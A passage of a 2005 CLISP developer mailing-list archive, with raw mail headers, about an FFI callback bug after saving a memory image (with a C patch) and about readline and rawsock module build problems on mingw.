- my intention was to create the callback at *init-hooks* time anyway. I am still a bit confused - I thought the call to init before image saving would have no effect when loading image, as clisp has no way of knowing what was saved by another library (readline), and I do not understand why calling the function to get callback at *init-hooks* time should produce invalid reference. As I've said, I'll report about result of patch. BTW, replacing :default with library name string did not help. Thanks, Tomas Zellerin 2005/9/30, Sam Steingold : > > * Tomas Zellerin [2005-09-29 08:14:30 +0200]: > > > > while trying to make more from included readline, I encountered a > > problem that can be shown on this example: > > > > (use-package 'ffi) > > (def-call-out add-defun > > (:name "rl_add_defun") > > (:library :default) > > (:arguments (name c-string :in :malloc-free) > > (callback (c-function (:language :stdc) > > (:arguments (rep int) (char int))) > > :in :malloc-free) > > (key int)) > > (:language :stdc) > > (:return-type int)) > > (defun init () > > (labels ((edit-history (key rep) > > (print key) > > (print rep))) > > (add-defun "edit-history" #'edit-history -1))) > > (init) > > (push #'init *init-hooks*) > > (saveinitmem "foo") > > > > That is, a function with callback to linux is defined and then called. > > Now, this works fine when loaded (compiled or not), but when later > > loaded from image, it makes problem when compiled: > > > > $ clisp -norc -C problem.lisp > > $ clisp -q -M foo.mem > > > > *** - FFI::FOREIGN-CALL-OUT: # come= s from > > a previous Lisp session and is invalid > > The following restarts are available: > > SKIP :R1 skip (SAVEINITMEM foo) > > STOP :R2 stop loading file /home/tomas/src/misc/problem.= lisp > > ABORT :R3 ABORT > > $ clisp -norc problem.lisp > > $ clisp -q -M foo.mem > > [1]> > > > > When read-history is defined with defun, it makes same problem even > > when not compiled. > > a callback is allocated on the heap (with malloc) and it cannot be saved > into an image. > the reason you are not getting the error under some conditions is that > there is no attempt made to re-use the saved callback because the lisp > function corresponding to the callback was not found in the callback > hash table. > > PROPOSED SOLUTION: > > 1. exit_ffi() should release all callbacks and replace them in > O(foreign_callin_vector) with NIL. > this is not strictly necessary (you do not have to free all your > mallocs before exit, but I think this is "good taste"). > Bruno, Joerg, should we do this? > > 2. when convert_function_to_foreign() finds in invalid (or NIL) > triple[1], it should just call alloc_callback(); > see the appended patch. > Tomas, could you please try this patch? > it appears to fix the bug you reported. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > If abortion is murder, then oral sex is cannibalism. > > > --- foreign.d 21 Sep 2005 14:10:34 -0400 1.144 > +++ foreign.d 29 Sep 2005 18:20:45 -0400 > @@ -442,12 +442,23 @@ > if (equal_fvd(resulttype,Car(acons)) > && equal_argfvds(argtypes,Car(Cdr(acons))) > && eq(flags,Car(Cdr(Cdr(acons))))) { > - var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c= allin_vector))->data)->data[3*posfixnum_to_V(Cdr(Cdr(Cdr(acons))))-2]; > - triple[2] =3D fixnum_inc(triple[2],1); /* increment reference = count */ > + var uintV f_index =3D posfixnum_to_V(Cdr(Cdr(Cdr(acons)))); > + var gcv_object_t* triple =3D &TheSvector(TheIarray(O(foreign_c= allin_vector))->data)->data[3*f_index-2]; > var object ffun =3D triple[1]; > ASSERT(equal_fvd(resulttype,TheFfunction(ffun)->ff_resulttype))= ; > ASSERT(equal_argfvds(argtypes,TheFfunction(ffun)->ff_argtypes))= ; > ASSERT(eq(flags,TheFfunction(ffun)->ff_flags)); > + var object faddress =3D TheFfunction(ffun)->ff_address; > + if (fp_validp(TheFpointer(TheFaddress(faddress)->fa_base))) { > + triple[2] =3D fixnum_inc(triple[2],1); /* increment referenc= e count */ > + } else { /* callback from the previous session -- renew */ > + /* leave the reference count alone */ > + begin_system_call(); > + TheFaddress(faddress)->fa_offset =3D > + (uintP)alloc_callback(&callback,(void*)(uintP)f_index); > + end_system_call(); > + TheFaddress(faddress)->fa_base =3D O(fp_zero); > + } > return ffun; > } > } > From zellerin@gmail.com Thu Sep 29 23:45:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELEdu-00062C-0i for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 23:45:14 -0700 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELEdr-0005K1-Jw for clisp-list@lists.sourceforge.net; Thu, 29 Sep 2005 23:45:14 -0700 Received: by zproxy.gmail.com with SMTP id i11so862102nzh for ; Thu, 29 Sep 2005 23:45:01 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=KJoa5PlzUh6MwTOo+BEkUQijvjrmKrD1AL+04CtCCcpF9tiW4iq1rQf/7fFiz10m2t7F76GAvNuGjOPjs4VwSXN4Os3DKmbs9Dm5MsIvIFg+740SVoeex8OHhWeLmzfq5Ku3/mo7uyjt+bUCaEaloFlhXX83tKRnRk3+jz/qJ6E= Received: by 10.36.250.38 with SMTP id x38mr5287976nzh; Thu, 29 Sep 2005 23:45:00 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Thu, 29 Sep 2005 23:45:00 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, sds@gnu.org Subject: Re: [clisp-list] readline interface In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 29 23:46:09 2005 X-Original-Date: Fri, 30 Sep 2005 08:45:00 +0200 Hello, nice, this is rather similar to what I was attempting. One note from quick look - does your add-defun works to you? I believe it must be allocated elsewhere (I used malloc), because readline keeps the string. Best regards, Tomas Zellerin 2005/9/29, Sam Steingold : > there have been expressed some interest in the past to have a wider > access to the readline features, e.g., saving history into files &c. > you can do that now with the new readline module by putting this into > your ~/.clisp: > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > (readline:read-history "~/.clisp-history") > (push (lambda () (readline:write-history "~/.clisp-history")) > custom:*fini-hooks*) > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > the module is very small and basic, please feel free to send additions. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Lisp is a language for doing what you've been told is impossible. - Kent = Pitman > > > ------------------------------------------------------- > This SF.Net email is sponsored by: > Power Architecture Resource Center: Free content, downloads, discussions, > and more. http://solutions.newsforge.com/ibmarch.tmpl > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From kavenchuk@jenty.by Fri Sep 30 03:05:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELHlK-00064o-F7 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 03:05:06 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELHlI-00029O-R3 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 03:05:06 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBTCVP; Fri, 30 Sep 2005 13:05:47 +0300 Message-ID: <433D0E19.8060302@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] readline interface References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 03:07:02 2005 X-Original-Date: Fri, 30 Sep 2005 13:06:17 +0300 Sam Steingold wrote: > there have been expressed some interest in the past to have a wider > access to the readline features, e.g., saving history into files &c. > you can do that now with the new readline module by putting this into > your ~/.clisp: > ========================================== > (readline:read-history "~/.clisp-history") > (push (lambda () (readline:write-history "~/.clisp-history")) > custom:*fini-hooks*) > ========================================== > the module is very small and basic, please feel free to send additions. > Why only if [ $TOS = unix ] ; then ... With mingw and readline from gnuwin32.sf.net there is build... almost :) gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none modules.o readline.o regexi.o regex.o calls.o -lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv -o lisp.exe readline.o(.text+0x27):readline.c: undefined reference to `_imp__rl_library_version' readline.o(.text+0x54):readline.c: undefined reference to `_imp__rl_readline_version' ... but why there is no -lreadline? With -lreadline is all rights. Thanks! -- WBR, Yaroslav Kavenchuk. From zellerin@gmail.com Fri Sep 30 04:53:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELJS4-0002Ok-P2 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 04:53:20 -0700 Received: from zproxy.gmail.com ([64.233.162.195]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELJS3-00063e-Gm for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 04:53:21 -0700 Received: by zproxy.gmail.com with SMTP id i11so890433nzh for ; Fri, 30 Sep 2005 04:53:13 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=G47Ko2OvKsV78mPY8XtPjxWkUllHZneov0ENfj3weHdeSTYgMOwtLgyObB5bh6U+bPEFwkMjXYQf0yaJTwnHiaL3kPZNl9lhNCsVSg4OZKyY2+sbIOK+ynTcCsYwjwZQtWp2strNdEDIBmbvr48i+sk1rQv9aeDEr89HC6FcwRA= Received: by 10.36.12.9 with SMTP id 9mr5527571nzl; Fri, 30 Sep 2005 04:53:13 -0700 (PDT) Received: by 10.36.222.6 with HTTP; Fri, 30 Sep 2005 04:53:13 -0700 (PDT) Message-ID: From: Tomas Zellerin Reply-To: Tomas Zellerin To: clisp-list@lists.sourceforge.net, sds@gnu.org Subject: Re: [clisp-list] readline interface In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 04:55:04 2005 X-Original-Date: Fri, 30 Sep 2005 13:53:13 +0200 Correcting myself - it is name parameter that must be allocated elsewhere. As for the set of function, I am missing these (binding from string/file) (def-call-out parse-and-bind (:name "rl_parse_and_bind") (:arguments (line c-string)) (:return-type int)) (def-call-out read-init-file (:name "rl_read_init_file") (:arguments (name c-string)) (:return-type int)) Actually, my definitions are slightly different, as I use a wrapper macro so that not to type function name twice: (eval-when (:compile-toplevel :load-toplevel) (defun symbol-to-c-name (symbol &optional (prefix "")) "Translate common lisp name to c name, optionally prepending a prefix" (concatenate 'string prefix =09 (substitute #\_ #\- =09=09=09 (string-downcase =09=09=09 (symbol-name symbol)))))) (defmacro def-rl-call-out (name &rest body) "Simplifies definition of foreign functions in readline package by translating name and providing :library argument to def-call-out." `(def-call-out ,name =09 (:name , (symbol-to-c-name name "rl_")) =09 (:library ,+readline-library+) =09 ,@body)) 2005/9/30, Tomas Zellerin : > Hello, > > nice, this is rather similar to what I was attempting. > > One note from quick look - does your add-defun works to you? I believe > it must be allocated elsewhere (I used malloc), because readline keeps > the string. > > Best regards, > > Tomas Zellerin > > 2005/9/29, Sam Steingold : > > there have been expressed some interest in the past to have a wider > > access to the readline features, e.g., saving history into files &c. > > you can do that now with the new readline module by putting this into > > your ~/.clisp: > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > (readline:read-history "~/.clisp-history") > > (push (lambda () (readline:write-history "~/.clisp-history")) > > custom:*fini-hooks*) > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > > the module is very small and basic, please feel free to send additions. > > > > -- > > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > > > Lisp is a language for doing what you've been told is impossible. - Ken= t Pitman > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: > > Power Architecture Resource Center: Free content, downloads, discussion= s, > > and more. http://solutions.newsforge.com/ibmarch.tmpl > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/clisp-list > > > From marko.kocic@gmail.com Fri Sep 30 06:29:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELKxD-0006yk-RG for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:29:35 -0700 Received: from zproxy.gmail.com ([64.233.162.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELKxD-0000Xr-Ji for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:29:35 -0700 Received: by zproxy.gmail.com with SMTP id 14so312853nzn for ; Fri, 30 Sep 2005 06:29:25 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=StHWQbMlHOVZN17oAlVJ/Gf30fCAssHHivLWdW8Fdv0uW2twd/3Acgeon3Fw1oyuFI5QWZ/4op9i+JpGYjyU4dmaJqb+4ta98H7hhP8BSKBxOd6FBTTGDxRqlesM4v4OoQ2Dhh669u8iHiFoDrqPtqM2LeDDzCz2NFm0P2DZfEc= Received: by 10.36.101.9 with SMTP id y9mr4124471nzb; Fri, 30 Sep 2005 06:29:25 -0700 (PDT) Received: by 10.36.221.80 with HTTP; Fri, 30 Sep 2005 06:29:25 -0700 (PDT) Message-ID: <9238e8de0509300629k34e0e8d4w@mail.gmail.com> From: Marko Kocic Reply-To: Marko Kocic To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com In-Reply-To: <9238e8de05091508376777f8d4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> <9238e8de050915010637cfff7@mail.gmail.com> <9238e8de05091508376777f8d4@mail.gmail.com> X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 06:31:32 2005 X-Original-Date: Fri, 30 Sep 2005 15:29:25 +0200 Ok, another win32 compilation error: Again mingw, WinXP. ./configure --with-mingw --with-module=3Drawsock --build build-mingw I'm attaching rawsock.c from my build-mingw/rawsock folder Hre's the error message: configure: * RAWSOCK (Done) CLISP=3D"`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd rawsock ; dots=3D`echo raws ock/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC=3D"gcc -mno-cygwin" CPPFLAGS=3D"-I/usr/local/inclu de" CFLAGS=3D"-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES=3D"$dots" CLFLA GS=3D"-x none" LIBS=3D"libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv" RANLIB=3D"ranlib" CLISP=3D"$CLISP -q" make[1]: Entering directory `/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/rawsock' /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lisp.exe -M /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lispin it.mem -B /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -Efile UTF-8 -Eterminal UTF-8 -norc -q -c sock.lisp ;; Compiling file C:\dev\cvstree\sourceforge\clisp\clisp\build-mingw\rawsock\sock.lisp ... ;; Wrote file C:\dev\cvstree\sourceforge\clisp\clisp\build-mingw\rawsock\so= ck.fas The following functions were used but not defined: RAWSOCK:SOCKET RAWSOCK:MAKE-SOCKADDR RAWSOCK:CONNECT RAWSOCK:SOCK-CLOSE 0 errors, 0 warnings /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lisp.exe -M /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/lispin it.mem -B /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -Efile UTF-8 -Eterminal UTF-8 -norc -q ../modprep.fas rawso ck.c ;; MODPREP: "rawsock.c" --> #P"rawsock.m.c" ;; MODPREP: reading "rawsock.c": 33,180 bytes, 1,805 lines *** - "rawsock.c":572: no closing paren in "DEFCHECKER(check_socket_domain,prefix=3DAF,default=3DAF_UNSPEC, " [0;NIL] make[1]: *** [rawsock.m.c] Error 1 make[1]: Leaving directory `/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/rawsock' make: *** [rawsock] Error 2 From sds@gnu.org Fri Sep 30 06:43:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELLAV-0007io-Ap for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:43:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELLAN-0004FP-PD for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:43:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8UDguDv023807; Fri, 30 Sep 2005 09:42:57 -0400 (EDT) To: Tomas Zellerin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] readline interface Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Fri, 30 Sep 2005 13:53:13 +0200") References: Mail-Followup-To: Tomas Zellerin , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 06:46:09 2005 X-Original-Date: Fri, 30 Sep 2005 09:41:59 -0400 > * Tomas Zellerin [2005-09-30 13:53:13 +0200]: > > Correcting myself - it is name parameter that must be allocated elsewhere. does my module work for you? > As for the set of function, I am missing these (binding from string/file) > > (def-call-out parse-and-bind > (:name "rl_parse_and_bind") > (:arguments (line c-string)) > (:return-type int)) > (def-call-out read-init-file > (:name "rl_read_init_file") > (:arguments (name c-string)) > (:return-type int)) please send a patch placing all the functions you want in the right order in the right section. > Actually, my definitions are slightly different, as I use a wrapper > macro so that not to type function name twice: and how do you convert from "history_is_stifled" to "history-stifled-p"? :-) > (:library ,+readline-library+) not needed in the module. PS. please fix your mailer to respect "Mail-Copies-To" and "Reply-to". -- Sam Steingold (http://www.podval.org/~sds) running w2k Live Lisp and prosper. From sds@gnu.org Fri Sep 30 06:49:56 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELLGt-00084J-Kv for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:49:55 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELLGp-0006oH-T6 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:49:55 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8UDnUmA024909; Fri, 30 Sep 2005 09:49:38 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <433D0E19.8060302@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 30 Sep 2005 13:06:17 +0300") References: <433D0E19.8060302@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 30 06:51:30 2005 X-Original-Date: Fri, 30 Sep 2005 09:48:33 -0400 > * Yaroslav Kavenchuk [2005-09-30 13:06:17 +0300]: > > Sam Steingold wrote: > >> there have been expressed some interest in the past to have a wider >> access to the readline features, e.g., saving history into files &c. >> you can do that now with the new readline module by putting this into >> your ~/.clisp: >> ========================================== >> (readline:read-history "~/.clisp-history") >> (push (lambda () (readline:write-history "~/.clisp-history")) >> custom:*fini-hooks*) >> ========================================== >> the module is very small and basic, please feel free to send additions. >> > > Why only > if [ $TOS = unix ] ; then > ... > With mingw and readline from gnuwin32.sf.net there is build... almost :) > > gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit > -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 > -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES > -DDYNAMIC_FFI -I. -x none modules.o readline.o regexi.o regex.o calls.o > -lcrypt -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a > /usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a > libavcall.a libcallback.a -luser32 -lws2_32 -lole32 -loleaut32 -luuid > /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv -o lisp.exe > readline.o(.text+0x27):readline.c: undefined reference to > `_imp__rl_library_version' > readline.o(.text+0x54):readline.c: undefined reference to > `_imp__rl_readline_version' > ... > > but why there is no -lreadline? With -lreadline is all rights. I do not use gnuwin32.sf.net, so I cannot debug this. 1. did you pass "--with-readline" to top-level ./configure? 2. was readline detected by ./configure? 3. was "--with-readline" given to makemake? 4. what was substituted for LIBS in makemake? -- Sam Steingold (http://www.podval.org/~sds) running w2k I'm out of my mind, but feel free to leave a message... From sds@gnu.org Fri Sep 30 06:51:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ELLIQ-0008Ai-Q3 for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:51:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ELLIQ-0007R8-4S for clisp-list@lists.sourceforge.net; Fri, 30 Sep 2005 06:51:31 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8UDpHEh025262; Fri, 30 Sep 2005 09:51:17 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Fri, 30 Sep 2005 08:36:04 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: saveinitmem and ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: 